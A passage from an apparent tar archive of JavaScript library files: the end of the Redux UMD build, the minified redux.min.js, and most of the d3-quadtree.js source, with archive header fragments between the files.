   * nextListeners as a temporary list while dispatching.
   *
   * This prevents any bugs around consumers calling
   * subscribe/unsubscribe in the middle of a dispatch.
   */

  function ensureCanMutateNextListeners() {
    if (nextListeners === currentListeners) {
      nextListeners = currentListeners.slice();
    }
  }
  /**
   * Reads the state tree managed by the store.
   *
   * @returns {any} The current state tree of your application.
   */


  function getState() {
    if (isDispatching) {
      throw new Error('You may not call store.getState() while the reducer is executing. ' + 'The reducer has already received the state as an argument. ' + 'Pass it down from the top reducer instead of reading it from the store.');
    }

    return currentState;
  }
  /**
   * Adds a change listener. It will be called any time an action is dispatched,
   * and some part of the state tree may potentially have changed. You may then
   * call `getState()` to read the current state tree inside the callback.
   *
   * You may call `dispatch()` from a change listener, with the following
   * caveats:
   *
   * 1. The subscriptions are snapshotted just before every `dispatch()` call.
   * If you subscribe or unsubscribe while the listeners are being invoked, this
   * will not have any effect on the `dispatch()` that is currently in progress.
   * However, the next `dispatch()` call, whether nested or not, will use a more
   * recent snapshot of the subscription list.
   *
   * 2. The listener should not expect to see all state changes, as the state
   * might have been updated multiple times during a nested `dispatch()` before
   * the listener is called. It is, however, guaranteed that all subscribers
   * registered before the `dispatch()` started will be called with the latest
   * state by the time it exits.
   *
   * @param {Function} listener A callback to be invoked on every dispatch.
   * @returns {Function} A function to remove this change listener.
   */


  function subscribe(listener) {
    if (typeof listener !== 'function') {
      throw new Error("Expected the listener to be a function. Instead, received: '" + kindOf(listener) + "'");
    }

    if (isDispatching) {
      throw new Error('You may not call store.subscribe() while the reducer is executing. ' + 'If you would like to be notified after the store has been updated, subscribe from a ' + 'component and invoke store.getState() in the callback to access the latest state. ' + 'See https://redux.js.org/api/store#subscribelistener for more details.');
    }

    var isSubscribed = true;
    ensureCanMutateNextListeners();
    nextListeners.push(listener);
    return function unsubscribe() {
      if (!isSubscribed) {
        return;
      }

      if (isDispatching) {
        throw new Error('You may not unsubscribe from a store listener while the reducer is executing. ' + 'See https://redux.js.org/api/store#subscribelistener for more details.');
      }

      isSubscribed = false;
      ensureCanMutateNextListeners();
      var index = nextListeners.indexOf(listener);
      nextListeners.splice(index, 1);
      currentListeners = null;
    };
  }
  /**
   * Dispatches an action. It is the only way to trigger a state change.
   *
   * The `reducer` function, used to create the store, will be called with the
   * current state tree and the given `action`. Its return value will
   * be considered the **next** state of the tree, and the change listeners
   * will be notified.
   *
   * The base implementation only supports plain object actions. If you want to
   * dispatch a Promise, an Observable, a thunk, or something else, you need to
   * wrap your store creating function into the corresponding middleware. For
   * example, see the documentation for the `redux-thunk` package. Even the
   * middleware will eventually dispatch plain object actions using this method.
   *
   * @param {Object} action A plain object representing “what changed”. It is
   * a good idea to keep actions serializable so you can record and replay user
   * sessions, or use the time travelling `redux-devtools`. An action must have
   * a `type` property which may not be `undefined`. It is a good idea to use
   * string constants for action types.
   *
   * @returns {Object} For convenience, the same action object you dispatched.
   *
   * Note that, if you use a custom middleware, it may wrap `dispatch()` to
   * return something else (for example, a Promise you can await).
   */


  function dispatch(action) {
    if (!isPlainObject(action)) {
      throw new Error("Actions must be plain objects. Instead, the actual type was: '" + kindOf(action) + "'. You may need to add middleware to your store setup to handle dispatching other values, such as 'redux-thunk' to handle dispatching functions. See https://redux.js.org/tutorials/fundamentals/part-4-store#middleware and https://redux.js.org/tutorials/fundamentals/part-6-async-logic#using-the-redux-thunk-middleware for examples.");
    }

    if (typeof action.type === 'undefined') {
      throw new Error('Actions may not have an undefined "type" property. You may have misspelled an action type string constant.');
    }

    if (isDispatching) {
      throw new Error('Reducers may not dispatch actions.');
    }

    try {
      isDispatching = true;
      currentState = currentReducer(currentState, action);
    } finally {
      isDispatching = false;
    }

    var listeners = currentListeners = nextListeners;

    for (var i = 0; i < listeners.length; i++) {
      var listener = listeners[i];
      listener();
    }

    return action;
  }
  /**
   * Replaces the reducer currently used by the store to calculate the state.
   *
   * You might need this if your app implements code splitting and you want to
   * load some of the reducers dynamically. You might also need this if you
   * implement a hot reloading mechanism for Redux.
   *
   * @param {Function} nextReducer The reducer for the store to use instead.
   * @returns {void}
   */


  function replaceReducer(nextReducer) {
    if (typeof nextReducer !== 'function') {
      throw new Error("Expected the nextReducer to be a function. Instead, received: '" + kindOf(nextReducer));
    }

    currentReducer = nextReducer; // This action has a similiar effect to ActionTypes.INIT.
    // Any reducers that existed in both the new and old rootReducer
    // will receive the previous state. This effectively populates
    // the new state tree with any relevant data from the old one.

    dispatch({
      type: ActionTypes.REPLACE
    });
  }
  /**
   * Interoperability point for observable/reactive libraries.
   * @returns {observable} A minimal observable of state changes.
   * For more information, see the observable proposal:
   * https://github.com/tc39/proposal-observable
   */


  function observable() {
    var _ref;

    var outerSubscribe = subscribe;
    return _ref = {
      /**
       * The minimal observable subscription method.
       * @param {Object} observer Any object that can be used as an observer.
       * The observer object should have a `next` method.
       * @returns {subscription} An object with an `unsubscribe` method that can
       * be used to unsubscribe the observable from the store, and prevent further
       * emission of values from the observable.
       */
      subscribe: function subscribe(observer) {
        if (typeof observer !== 'object' || observer === null) {
          throw new Error("Expected the observer to be an object. Instead, received: '" + kindOf(observer) + "'");
        }

        function observeState() {
          if (observer.next) {
            observer.next(getState());
          }
        }

        observeState();
        var unsubscribe = outerSubscribe(observeState);
        return {
          unsubscribe: unsubscribe
        };
      }
    }, _ref[$$observable] = function () {
      return this;
    }, _ref;
  } // When a store is created, an "INIT" action is dispatched so that every
  // reducer returns their initial state. This effectively populates
  // the initial state tree.


  dispatch({
    type: ActionTypes.INIT
  });
  return _ref2 = {
    dispatch: dispatch,
    subscribe: subscribe,
    getState: getState,
    replaceReducer: replaceReducer
  }, _ref2[$$observable] = observable, _ref2;
}
/**
 * Creates a Redux store that holds the state tree.
 *
 * **We recommend using `configureStore` from the
 * `@reduxjs/toolkit` package**, which replaces `createStore`:
 * **https://redux.js.org/introduction/why-rtk-is-redux-today**
 *
 * The only way to change the data in the store is to call `dispatch()` on it.
 *
 * There should only be a single store in your app. To specify how different
 * parts of the state tree respond to actions, you may combine several reducers
 * into a single reducer function by using `combineReducers`.
 *
 * @param {Function} reducer A function that returns the next state tree, given
 * the current state tree and the action to handle.
 *
 * @param {any} [preloadedState] The initial state. You may optionally specify it
 * to hydrate the state from the server in universal apps, or to restore a
 * previously serialized user session.
 * If you use `combineReducers` to produce the root reducer function, this must be
 * an object with the same shape as `combineReducers` keys.
 *
 * @param {Function} [enhancer] The store enhancer. You may optionally specify it
 * to enhance the store with third-party capabilities such as middleware,
 * time travel, persistence, etc. The only store enhancer that ships with Redux
 * is `applyMiddleware()`.
 *
 * @returns {Store} A Redux store that lets you read the state, dispatch actions
 * and subscribe to changes.
 */

var legacy_createStore = createStore;

/**
 * Prints a warning in the console if it exists.
 *
 * @param {String} message The warning message.
 * @returns {void}
 */
function warning(message) {
  /* eslint-disable no-console */
  if (typeof console !== 'undefined' && typeof console.error === 'function') {
    console.error(message);
  }
  /* eslint-enable no-console */


  try {
    // This error was thrown as a convenience so that if you enable
    // "break on all exceptions" in your console,
    // it would pause the execution at this line.
    throw new Error(message);
  } catch (e) {} // eslint-disable-line no-empty

}

function getUnexpectedStateShapeWarningMessage(inputState, reducers, action, unexpectedKeyCache) {
  var reducerKeys = Object.keys(reducers);
  var argumentName = action && action.type === ActionTypes.INIT ? 'preloadedState argument passed to createStore' : 'previous state received by the reducer';

  if (reducerKeys.length === 0) {
    return 'Store does not have a valid reducer. Make sure the argument passed ' + 'to combineReducers is an object whose values are reducers.';
  }

  if (!isPlainObject(inputState)) {
    return "The " + argumentName + " has unexpected type of \"" + kindOf(inputState) + "\". Expected argument to be an object with the following " + ("keys: \"" + reducerKeys.join('", "') + "\"");
  }

  var unexpectedKeys = Object.keys(inputState).filter(function (key) {
    return !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key];
  });
  unexpectedKeys.forEach(function (key) {
    unexpectedKeyCache[key] = true;
  });
  if (action && action.type === ActionTypes.REPLACE) return;

  if (unexpectedKeys.length > 0) {
    return "Unexpected " + (unexpectedKeys.length > 1 ? 'keys' : 'key') + " " + ("\"" + unexpectedKeys.join('", "') + "\" found in " + argumentName + ". ") + "Expected to find one of the known reducer keys instead: " + ("\"" + reducerKeys.join('", "') + "\". Unexpected keys will be ignored.");
  }
}

function assertReducerShape(reducers) {
  Object.keys(reducers).forEach(function (key) {
    var reducer = reducers[key];
    var initialState = reducer(undefined, {
      type: ActionTypes.INIT
    });

    if (typeof initialState === 'undefined') {
      throw new Error("The slice reducer for key \"" + key + "\" returned undefined during initialization. " + "If the state passed to the reducer is undefined, you must " + "explicitly return the initial state. The initial state may " + "not be undefined. If you don't want to set a value for this reducer, " + "you can use null instead of undefined.");
    }

    if (typeof reducer(undefined, {
      type: ActionTypes.PROBE_UNKNOWN_ACTION()
    }) === 'undefined') {
      throw new Error("The slice reducer for key \"" + key + "\" returned undefined when probed with a random type. " + ("Don't try to handle '" + ActionTypes.INIT + "' or other actions in \"redux/*\" ") + "namespace. They are considered private. Instead, you must return the " + "current state for any unknown actions, unless it is undefined, " + "in which case you must return the initial state, regardless of the " + "action type. The initial state may not be undefined, but can be null.");
    }
  });
}
/**
 * Turns an object whose values are different reducer functions, into a single
 * reducer function. It will call every child reducer, and gather their results
 * into a single state object, whose keys correspond to the keys of the passed
 * reducer functions.
 *
 * @param {Object} reducers An object whose values correspond to different
 * reducer functions that need to be combined into one. One handy way to obtain
 * it is to use ES6 `import * as reducers` syntax. The reducers may never return
 * undefined for any action. Instead, they should return their initial state
 * if the state passed to them was undefined, and the current state for any
 * unrecognized action.
 *
 * @returns {Function} A reducer function that invokes every reducer inside the
 * passed object, and builds a state object with the same shape.
 */


function combineReducers(reducers) {
  var reducerKeys = Object.keys(reducers);
  var finalReducers = {};

  for (var i = 0; i < reducerKeys.length; i++) {
    var key = reducerKeys[i];

    {
      if (typeof reducers[key] === 'undefined') {
        warning("No reducer provided for key \"" + key + "\"");
      }
    }

    if (typeof reducers[key] === 'function') {
      finalReducers[key] = reducers[key];
    }
  }

  var finalReducerKeys = Object.keys(finalReducers); // This is used to make sure we don't warn about the same
  // keys multiple times.

  var unexpectedKeyCache;

  {
    unexpectedKeyCache = {};
  }

  var shapeAssertionError;

  try {
    assertReducerShape(finalReducers);
  } catch (e) {
    shapeAssertionError = e;
  }

  return function combination(state, action) {
    if (state === void 0) {
      state = {};
    }

    if (shapeAssertionError) {
      throw shapeAssertionError;
    }

    {
      var warningMessage = getUnexpectedStateShapeWarningMessage(state, finalReducers, action, unexpectedKeyCache);

      if (warningMessage) {
        warning(warningMessage);
      }
    }

    var hasChanged = false;
    var nextState = {};

    for (var _i = 0; _i < finalReducerKeys.length; _i++) {
      var _key = finalReducerKeys[_i];
      var reducer = finalReducers[_key];
      var previousStateForKey = state[_key];
      var nextStateForKey = reducer(previousStateForKey, action);

      if (typeof nextStateForKey === 'undefined') {
        var actionType = action && action.type;
        throw new Error("When called with an action of type " + (actionType ? "\"" + String(actionType) + "\"" : '(unknown type)') + ", the slice reducer for key \"" + _key + "\" returned undefined. " + "To ignore an action, you must explicitly return the previous state. " + "If you want this reducer to hold no value, you can return null instead of undefined.");
      }

      nextState[_key] = nextStateForKey;
      hasChanged = hasChanged || nextStateForKey !== previousStateForKey;
    }

    hasChanged = hasChanged || finalReducerKeys.length !== Object.keys(state).length;
    return hasChanged ? nextState : state;
  };
}

function bindActionCreator(actionCreator, dispatch) {
  return function () {
    return dispatch(actionCreator.apply(this, arguments));
  };
}
/**
 * Turns an object whose values are action creators, into an object with the
 * same keys, but with every function wrapped into a `dispatch` call so they
 * may be invoked directly. This is just a convenience method, as you can call
 * `store.dispatch(MyActionCreators.doSomething())` yourself just fine.
 *
 * For convenience, you can also pass an action creator as the first argument,
 * and get a dispatch wrapped function in return.
 *
 * @param {Function|Object} actionCreators An object whose values are action
 * creator functions. One handy way to obtain it is to use ES6 `import * as`
 * syntax. You may also pass a single function.
 *
 * @param {Function} dispatch The `dispatch` function available on your Redux
 * store.
 *
 * @returns {Function|Object} The object mimicking the original object, but with
 * every action creator wrapped into the `dispatch` call. If you passed a
 * function as `actionCreators`, the return value will also be a single
 * function.
 */


function bindActionCreators(actionCreators, dispatch) {
  if (typeof actionCreators === 'function') {
    return bindActionCreator(actionCreators, dispatch);
  }

  if (typeof actionCreators !== 'object' || actionCreators === null) {
    throw new Error("bindActionCreators expected an object or a function, but instead received: '" + kindOf(actionCreators) + "'. " + "Did you write \"import ActionCreators from\" instead of \"import * as ActionCreators from\"?");
  }

  var boundActionCreators = {};

  for (var key in actionCreators) {
    var actionCreator = actionCreators[key];

    if (typeof actionCreator === 'function') {
      boundActionCreators[key] = bindActionCreator(actionCreator, dispatch);
    }
  }

  return boundActionCreators;
}

function _defineProperty(obj, key, value) {
  if (key in obj) {
    Object.defineProperty(obj, key, {
      value: value,
      enumerable: true,
      configurable: true,
      writable: true
    });
  } else {
    obj[key] = value;
  }

  return obj;
}

function ownKeys(object, enumerableOnly) {
  var keys = Object.keys(object);

  if (Object.getOwnPropertySymbols) {
    var symbols = Object.getOwnPropertySymbols(object);
    if (enumerableOnly) symbols = symbols.filter(function (sym) {
      return Object.getOwnPropertyDescriptor(object, sym).enumerable;
    });
    keys.push.apply(keys, symbols);
  }

  return keys;
}

function _objectSpread2(target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i] != null ? arguments[i] : {};

    if (i % 2) {
      ownKeys(Object(source), true).forEach(function (key) {
        _defineProperty(target, key, source[key]);
      });
    } else if (Object.getOwnPropertyDescriptors) {
      Object.defineProperties(target, Object.getOwnPropertyDescriptors(source));
    } else {
      ownKeys(Object(source)).forEach(function (key) {
        Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key));
      });
    }
  }

  return target;
}

/**
 * Composes single-argument functions from right to left. The rightmost
 * function can take multiple arguments as it provides the signature for
 * the resulting composite function.
 *
 * @param {...Function} funcs The functions to compose.
 * @returns {Function} A function obtained by composing the argument functions
 * from right to left. For example, compose(f, g, h) is identical to doing
 * (...args) => f(g(h(...args))).
 */
function compose() {
  for (var _len = arguments.length, funcs = new Array(_len), _key = 0; _key < _len; _key++) {
    funcs[_key] = arguments[_key];
  }

  if (funcs.length === 0) {
    return function (arg) {
      return arg;
    };
  }

  if (funcs.length === 1) {
    return funcs[0];
  }

  return funcs.reduce(function (a, b) {
    return function () {
      return a(b.apply(void 0, arguments));
    };
  });
}

/**
 * Creates a store enhancer that applies middleware to the dispatch method
 * of the Redux store. This is handy for a variety of tasks, such as expressing
 * asynchronous actions in a concise manner, or logging every action payload.
 *
 * See `redux-thunk` package as an example of the Redux middleware.
 *
 * Because middleware is potentially asynchronous, this should be the first
 * store enhancer in the composition chain.
 *
 * Note that each middleware will be given the `dispatch` and `getState` functions
 * as named arguments.
 *
 * @param {...Function} middlewares The middleware chain to be applied.
 * @returns {Function} A store enhancer applying the middleware.
 */

function applyMiddleware() {
  for (var _len = arguments.length, middlewares = new Array(_len), _key = 0; _key < _len; _key++) {
    middlewares[_key] = arguments[_key];
  }

  return function (createStore) {
    return function () {
      var store = createStore.apply(void 0, arguments);

      var _dispatch = function dispatch() {
        throw new Error('Dispatching while constructing your middleware is not allowed. ' + 'Other middleware would not be applied to this dispatch.');
      };

      var middlewareAPI = {
        getState: store.getState,
        dispatch: function dispatch() {
          return _dispatch.apply(void 0, arguments);
        }
      };
      var chain = middlewares.map(function (middleware) {
        return middleware(middlewareAPI);
      });
      _dispatch = compose.apply(void 0, chain)(store.dispatch);
      return _objectSpread2(_objectSpread2({}, store), {}, {
        dispatch: _dispatch
      });
    };
  };
}

exports.__DO_NOT_USE__ActionTypes = ActionTypes;
exports.applyMiddleware = applyMiddleware;
exports.bindActionCreators = bindActionCreators;
exports.combineReducers = combineReducers;
exports.compose = compose;
exports.createStore = createStore;
exports.legacy_createStore = legacy_createStore;

Object.defineProperty(exports, '__esModule', { value: true });

})));
redux.min.js000064400000010354151677321630007031 0ustar00!function(r,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((r="undefined"!=typeof globalThis?globalThis:r||self).Redux={})}(this,(function(r){"use strict";function t(r){return"Minified Redux error #"+r+"; visit https://redux.js.org/Errors?code="+r+" for the full message or use the non-minified dev environment for full errors. "}var e="function"==typeof Symbol&&Symbol.observable||"@@observable",n=function(){return Math.random().toString(36).substring(7).split("").join(".")},o={INIT:"@@redux/INIT"+n(),REPLACE:"@@redux/REPLACE"+n(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+n()}};function i(r){if("object"!=typeof r||null===r)return!1;for(var t=r;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(r)===t}function f(r,n,u){var c;if("function"==typeof n&&"function"==typeof u||"function"==typeof u&&"function"==typeof arguments[3])throw Error(t(0));if("function"==typeof n&&void 0===u&&(u=n,n=void 0),void 0!==u){if("function"!=typeof u)throw Error(t(1));return u(f)(r,n)}if("function"!=typeof r)throw Error(t(2));var p=r,a=n,l=[],y=l,s=!1;function d(){y===l&&(y=l.slice())}function b(){if(s)throw Error(t(3));return a}function h(r){if("function"!=typeof r)throw Error(t(4));if(s)throw Error(t(5));var e=!0;return d(),y.push(r),function(){if(e){if(s)throw Error(t(6));e=!1,d();var n=y.indexOf(r);y.splice(n,1),l=null}}}function v(r){if(!i(r))throw Error(t(7));if(void 0===r.type)throw Error(t(8));if(s)throw Error(t(9));try{s=!0,a=p(a,r)}finally{s=!1}for(var e=l=y,n=0;e.length>n;n++){(0,e[n])()}return r}function O(r){if("function"!=typeof r)throw Error(t(10));p=r,v({type:o.REPLACE})}function E(){var r,n=h;return(r={subscribe:function(r){if("object"!=typeof r||null===r)throw Error(t(11));function e(){r.next&&r.next(b())}return e(),{unsubscribe:n(e)}}})[e]=function(){return this},r}return v({type:o.INIT}),(c={dispatch:v,subscribe:h,getState:b,replaceReducer:O})[e]=E,c}var u=f;function c(r,t){return function(){return t(r.apply(this,arguments))}}function p(r,t,e){return t in r?Object.defineProperty(r,t,{value:e,enumerable:!0,configurable:!0,writable:!0}):r[t]=e,r}function a(r,t){var e=Object.keys(r);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(r);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable}))),e.push.apply(e,n)}return e}function l(r){for(var t=1;arguments.length>t;t++){var e=null!=arguments[t]?arguments[t]:{};t%2?a(Object(e),!0).forEach((function(t){p(r,t,e[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(r,Object.getOwnPropertyDescriptors(e)):a(Object(e)).forEach((function(t){Object.defineProperty(r,t,Object.getOwnPropertyDescriptor(e,t))}))}return r}function y(){for(var r=arguments.length,t=Array(r),e=0;r>e;e++)t[e]=arguments[e];return 0===t.length?function(r){return r}:1===t.length?t[0]:t.reduce((function(r,t){return function(){return r(t.apply(void 0,arguments))}}))}r.__DO_NOT_USE__ActionTypes=o,r.applyMiddleware=function(){for(var r=arguments.length,e=Array(r),n=0;r>n;n++)e[n]=arguments[n];return function(r){return function(){var n=r.apply(void 0,arguments),o=function(){throw Error(t(15))},i={getState:n.getState,dispatch:function(){return o.apply(void 0,arguments)}},f=e.map((function(r){return r(i)}));return o=y.apply(void 0,f)(n.dispatch),l(l({},n),{},{dispatch:o})}}},r.bindActionCreators=function(r,e){if("function"==typeof r)return c(r,e);if("object"!=typeof r||null===r)throw Error(t(16));var n={};for(var o in r){var i=r[o];"function"==typeof i&&(n[o]=c(i,e))}return n},r.combineReducers=function(r){for(var e=Object.keys(r),n={},i=0;e.length>i;i++){var f=e[i];"function"==typeof r[f]&&(n[f]=r[f])}var u,c=Object.keys(n);try{!function(r){Object.keys(r).forEach((function(e){var n=r[e];if(void 0===n(void 0,{type:o.INIT}))throw Error(t(12));if(void 0===n(void 0,{type:o.PROBE_UNKNOWN_ACTION()}))throw Error(t(13))}))}(n)}catch(r){u=r}return function(r,e){if(void 0===r&&(r={}),u)throw u;for(var o=!1,i={},f=0;c.length>f;f++){var p=c[f],a=r[p],l=(0,n[p])(a,e);if(void 0===l)throw Error(t(14));i[p]=l,o=o||l!==a}return(o=o||c.length!==Object.keys(r).length)?i:r}},r.compose=y,r.createStore=f,r.legacy_createStore=u,Object.defineProperty(r,"__esModule",{value:!0})}));
d3-quadtree.js000064400000030246151677323100007232 0ustar00// https://d3js.org/d3-quadtree/ v1.0.5 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(factory((global.d3 = global.d3 || {})));
}(this, (function (exports) { 'use strict';

function tree_add(d) {
  var x = +this._x.call(null, d),
      y = +this._y.call(null, d);
  return add(this.cover(x, y), x, y, d);
}

function add(tree, x, y, d) {
  if (isNaN(x) || isNaN(y)) return tree; // ignore invalid points

  var parent,
      node = tree._root,
      leaf = {data: d},
      x0 = tree._x0,
      y0 = tree._y0,
      x1 = tree._x1,
      y1 = tree._y1,
      xm,
      ym,
      xp,
      yp,
      right,
      bottom,
      i,
      j;

  // If the tree is empty, initialize the root as a leaf.
  if (!node) return tree._root = leaf, tree;

  // Find the existing leaf for the new point, or add it.
  while (node.length) {
    if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm;
    if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym;
    if (parent = node, !(node = node[i = bottom << 1 | right])) return parent[i] = leaf, tree;
  }

  // Is the new point is exactly coincident with the existing point?
  xp = +tree._x.call(null, node.data);
  yp = +tree._y.call(null, node.data);
  if (x === xp && y === yp) return leaf.next = node, parent ? parent[i] = leaf : tree._root = leaf, tree;

  // Otherwise, split the leaf node until the old and new point are separated.
  do {
    parent = parent ? parent[i] = new Array(4) : tree._root = new Array(4);
    if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm;
    if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym;
  } while ((i = bottom << 1 | right) === (j = (yp >= ym) << 1 | (xp >= xm)));
  return parent[j] = node, parent[i] = leaf, tree;
}

function addAll(data) {
  var d, i, n = data.length,
      x,
      y,
      xz = new Array(n),
      yz = new Array(n),
      x0 = Infinity,
      y0 = Infinity,
      x1 = -Infinity,
      y1 = -Infinity;

  // Compute the points and their extent.
  for (i = 0; i < n; ++i) {
    if (isNaN(x = +this._x.call(null, d = data[i])) || isNaN(y = +this._y.call(null, d))) continue;
    xz[i] = x;
    yz[i] = y;
    if (x < x0) x0 = x;
    if (x > x1) x1 = x;
    if (y < y0) y0 = y;
    if (y > y1) y1 = y;
  }

  // If there were no (valid) points, inherit the existing extent.
  if (x1 < x0) x0 = this._x0, x1 = this._x1;
  if (y1 < y0) y0 = this._y0, y1 = this._y1;

  // Expand the tree to cover the new points.
  this.cover(x0, y0).cover(x1, y1);

  // Add the new points.
  for (i = 0; i < n; ++i) {
    add(this, xz[i], yz[i], data[i]);
  }

  return this;
}

function tree_cover(x, y) {
  if (isNaN(x = +x) || isNaN(y = +y)) return this; // ignore invalid points

  var x0 = this._x0,
      y0 = this._y0,
      x1 = this._x1,
      y1 = this._y1;

  // If the quadtree has no extent, initialize them.
  // Integer extent are necessary so that if we later double the extent,
  // the existing quadrant boundaries don’t change due to floating point error!
  if (isNaN(x0)) {
    x1 = (x0 = Math.floor(x)) + 1;
    y1 = (y0 = Math.floor(y)) + 1;
  }

  // Otherwise, double repeatedly to cover.
  else if (x0 > x || x > x1 || y0 > y || y > y1) {
    var z = x1 - x0,
        node = this._root,
        parent,
        i;

    switch (i = (y < (y0 + y1) / 2) << 1 | (x < (x0 + x1) / 2)) {
      case 0: {
        do parent = new Array(4), parent[i] = node, node = parent;
        while (z *= 2, x1 = x0 + z, y1 = y0 + z, x > x1 || y > y1);
        break;
      }
      case 1: {
        do parent = new Array(4), parent[i] = node, node = parent;
        while (z *= 2, x0 = x1 - z, y1 = y0 + z, x0 > x || y > y1);
        break;
      }
      case 2: {
        do parent = new Array(4), parent[i] = node, node = parent;
        while (z *= 2, x1 = x0 + z, y0 = y1 - z, x > x1 || y0 > y);
        break;
      }
      case 3: {
        do parent = new Array(4), parent[i] = node, node = parent;
        while (z *= 2, x0 = x1 - z, y0 = y1 - z, x0 > x || y0 > y);
        break;
      }
    }

    if (this._root && this._root.length) this._root = node;
  }

  // If the quadtree covers the point already, just return.
  else return this;

  this._x0 = x0;
  this._y0 = y0;
  this._x1 = x1;
  this._y1 = y1;
  return this;
}

function tree_data() {
  var data = [];
  this.visit(function(node) {
    if (!node.length) do data.push(node.data); while (node = node.next)
  });
  return data;
}

function tree_extent(_) {
  return arguments.length
      ? this.cover(+_[0][0], +_[0][1]).cover(+_[1][0], +_[1][1])
      : isNaN(this._x0) ? undefined : [[this._x0, this._y0], [this._x1, this._y1]];
}

function Quad(node, x0, y0, x1, y1) {
  this.node = node;
  this.x0 = x0;
  this.y0 = y0;
  this.x1 = x1;
  this.y1 = y1;
}

function tree_find(x, y, radius) {
  var data,
      x0 = this._x0,
      y0 = this._y0,
      x1,
      y1,
      x2,
      y2,
      x3 = this._x1,
      y3 = this._y1,
      quads = [],
      node = this._root,
      q,
      i;

  if (node) quads.push(new Quad(node, x0, y0, x3, y3));
  if (radius == null) radius = Infinity;
  else {
    x0 = x - radius, y0 = y - radius;
    x3 = x + radius, y3 = y + radius;
    radius *= radius;
  }

  while (q = quads.pop()) {

    // Stop searching if this quadrant can’t contain a closer node.
    if (!(node = q.node)
        || (x1 = q.x0) > x3
        || (y1 = q.y0) > y3
        || (x2 = q.x1) < x0
        || (y2 = q.y1) < y0) continue;

    // Bisect the current quadrant.
    if (node.length) {
      var xm = (x1 + x2) / 2,
          ym = (y1 + y2) / 2;

      quads.push(
        new Quad(node[3], xm, ym, x2, y2),
        new Quad(node[2], x1, ym, xm, y2),
        new Quad(node[1], xm, y1, x2, ym),
        new Quad(node[0], x1, y1, xm, ym)
      );

      // Visit the closest quadrant first.
      if (i = (y >= ym) << 1 | (x >= xm)) {
        q = quads[quads.length - 1];
        quads[quads.length - 1] = quads[quads.length - 1 - i];
        quads[quads.length - 1 - i] = q;
      }
    }

    // Visit this point. (Visiting coincident points isn’t necessary!)
    else {
      var dx = x - +this._x.call(null, node.data),
          dy = y - +this._y.call(null, node.data),
          d2 = dx * dx + dy * dy;
      if (d2 < radius) {
        var d = Math.sqrt(radius = d2);
        x0 = x - d, y0 = y - d;
        x3 = x + d, y3 = y + d;
        data = node.data;
      }
    }
  }

  return data;
}

function tree_remove(d) {
  if (isNaN(x = +this._x.call(null, d)) || isNaN(y = +this._y.call(null, d))) return this; // ignore invalid points

  var parent,
      node = this._root,
      retainer,
      previous,
      next,
      x0 = this._x0,
      y0 = this._y0,
      x1 = this._x1,
      y1 = this._y1,
      x,
      y,
      xm,
      ym,
      right,
      bottom,
      i,
      j;

  // If the tree is empty, initialize the root as a leaf.
  if (!node) return this;

  // Find the leaf node for the point.
  // While descending, also retain the deepest parent with a non-removed sibling.
  if (node.length) while (true) {
    if (right = x >= (xm = (x0 + x1) / 2)) x0 = xm; else x1 = xm;
    if (bottom = y >= (ym = (y0 + y1) / 2)) y0 = ym; else y1 = ym;
    if (!(parent = node, node = node[i = bottom << 1 | right])) return this;
    if (!node.length) break;
    if (parent[(i + 1) & 3] || parent[(i + 2) & 3] || parent[(i + 3) & 3]) retainer = parent, j = i;
  }

  // Find the point to remove.
  while (node.data !== d) if (!(previous = node, node = node.next)) return this;
  if (next = node.next) delete node.next;

  // If there are multiple coincident points, remove just the point.
  if (previous) return (next ? previous.next = next : delete previous.next), this;

  // If this is the root point, remove it.
  if (!parent) return this._root = next, this;

  // Remove this leaf.
  next ? parent[i] = next : delete parent[i];

  // If the parent now contains exactly one leaf, collapse superfluous parents.
  if ((node = parent[0] || parent[1] || parent[2] || parent[3])
      && node === (parent[3] || parent[2] || parent[1] || parent[0])
      && !node.length) {
    if (retainer) retainer[j] = node;
    else this._root = node;
  }

  return this;
}

function removeAll(data) {
  for (var i = 0, n = data.length; i < n; ++i) this.remove(data[i]);
  return this;
}

function tree_root() {
  return this._root;
}

function tree_size() {
  var size = 0;
  this.visit(function(node) {
    if (!node.length) do ++size; while (node = node.next)
  });
  return size;
}

function tree_visit(callback) {
  var quads = [], q, node = this._root, child, x0, y0, x1, y1;
  if (node) quads.push(new Quad(node, this._x0, this._y0, this._x1, this._y1));
  while (q = quads.pop()) {
    if (!callback(node = q.node, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1) && node.length) {
      var xm = (x0 + x1) / 2, ym = (y0 + y1) / 2;
      if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1));
      if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1));
      if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym));
      if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym));
    }
  }
  return this;
}

function tree_visitAfter(callback) {
  var quads = [], next = [], q;
  if (this._root) quads.push(new Quad(this._root, this._x0, this._y0, this._x1, this._y1));
  while (q = quads.pop()) {
    var node = q.node;
    if (node.length) {
      var child, x0 = q.x0, y0 = q.y0, x1 = q.x1, y1 = q.y1, xm = (x0 + x1) / 2, ym = (y0 + y1) / 2;
      if (child = node[0]) quads.push(new Quad(child, x0, y0, xm, ym));
      if (child = node[1]) quads.push(new Quad(child, xm, y0, x1, ym));
      if (child = node[2]) quads.push(new Quad(child, x0, ym, xm, y1));
      if (child = node[3]) quads.push(new Quad(child, xm, ym, x1, y1));
    }
    next.push(q);
  }
  while (q = next.pop()) {
    callback(q.node, q.x0, q.y0, q.x1, q.y1);
